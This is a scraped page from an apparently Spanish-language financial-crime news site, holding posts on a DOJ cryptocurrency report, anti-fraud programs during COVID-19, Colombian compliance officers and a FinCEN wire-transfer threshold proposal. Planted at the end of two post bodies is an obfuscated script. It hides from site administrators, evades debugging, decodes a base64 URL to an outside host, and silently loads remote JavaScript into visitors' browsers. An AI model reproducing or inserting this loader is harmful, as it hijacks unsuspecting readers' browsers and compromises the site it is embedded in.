\/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar 